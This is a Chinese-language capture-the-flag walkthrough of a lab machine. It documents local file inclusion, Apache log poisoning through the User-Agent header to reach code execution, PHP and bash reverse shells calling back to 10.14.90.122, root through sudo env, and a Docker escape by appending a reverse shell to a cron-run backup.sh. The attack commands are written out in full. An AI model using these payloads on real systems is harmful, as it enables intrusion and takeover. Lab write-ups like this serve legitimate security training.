靶机ip:10.10.89.86

信息收集

nmap扫描

1
nmap --min-rate 10000 -A -sV -sC -p- 10.10.89.86

image-20241018160031179

发现开放22,80端口

80端口

image-20241018152404974

发现点击dog或者cat,会显示一张相应的图片

先扫描一下目录

1
gobuster dir -u http://10.10.89.86/ -w /usr/share/wordlists/dirb/common.txt

image-20241018160045419

访问/cats显示403,除此之外并没有什么有用的信息

LIF导致RCE

再次查看我们的页面

image-20241018161647388

在url处有个参数view,尝试一下目录穿越

image-20241018161756644

有效果,可以文件包含,并且默认在后面加.php文件后缀了

image-20241018161918408

测试后发现可以通过%00可以截断

使用伪协议尝试读取源码

1
?view=php://filter/convert.base64-encode/resource=dog

image-20241018162212286

base64解码一下

1
echo "PGltZyBzcmM9ImRvZ3MvPD9waHAgZWNobyByYW5kKDEsIDEwKTsgPz4uanBnIiAvPg0K" | base64 -d

image-20241018162316656

尝试读取一下别的文件

1
?view=php://filter/convert.base64-encode/resource=dog/../index

image-20241018162546442

发现解码后的代码,我们还可以控制ext变量,来控制文件后缀,所以我们就可以读取任意文件了

先读取/etc/passwd

1
?view=view=dog/../../../../etc/passwd&ext=

image-20241018162837485

看源码比较清晰一点

这里貌似没什么信息,查看一下日志

1
?view=view=dog/../../../../../../../var/log/apache2/access.log&ext=

最终找到了apache2的日志

image-20241018163515318

在最后发现我们的操作会被记录下来,并且请求头的信息也保存了

尝试更改请求头试一下

image-20241018163836959

我们自定义的请求头被写入到日志文件中了,尝试写入php代码

1
curl "http://10.10.89.86/" -H "User-Agent: <?php system('whoami')?>"

image-20241018164027252

成功RCE!

获得初始访问权限

先将RCE完善一下

1
curl "http://10.10.89.86/" -H "User-Agent: <?php system(\$_GET['cmd']);?>"

image-20241018165124697

可以执行命令,我们就尝试反弹shell,先建立个监听

image-20241018164135561

执行一下反弹shell命令(注意要url编码)

1
php -r '$sock=fsockopen("10.14.90.122", 8888);exec("/bin/bash -i <&3 >&3 2>&3");'

image-20241018181111610

成功获取初始权限

image-20241018181148117

在当前页面找到flag.php

提升至root权限

先找一下flag的位置

1
find / -name "*flag*" 2>/dev/null

image-20241018181607197

找到flag2

image-20241018181630748

sudo -l查看一下

image-20241018183028748

发现env命令具有root权限,使用env命令提权

image-20241018183050727

获得root权限

image-20241018183114104

/root下找到flag3.txt

docker逃逸

在根目录中找到.dockerenv文件

image-20241018185109777

可知我们在docker内

image-20241018185208376

仔细翻找文件后发现以上内容,仔细查看一下,发现像是备份文件的命令,过段时间后会发现backup.tar文件的修改时间改变了,推断出可能正在执行一个cron任务

我们可以尝试写入反弹shell的命令,并以主机上的 root 身份获取 shell

1
echo "bash -i >& /dev/tcp/10.14.90.122/8889 0>&1" >> backup.sh

image-20241018190841293主机进行监听,过段时间后我们获取到了主机的shell

image-20241018191658563

成功获取主机shell

image-20241018191730005

/root目录找到最后一个flag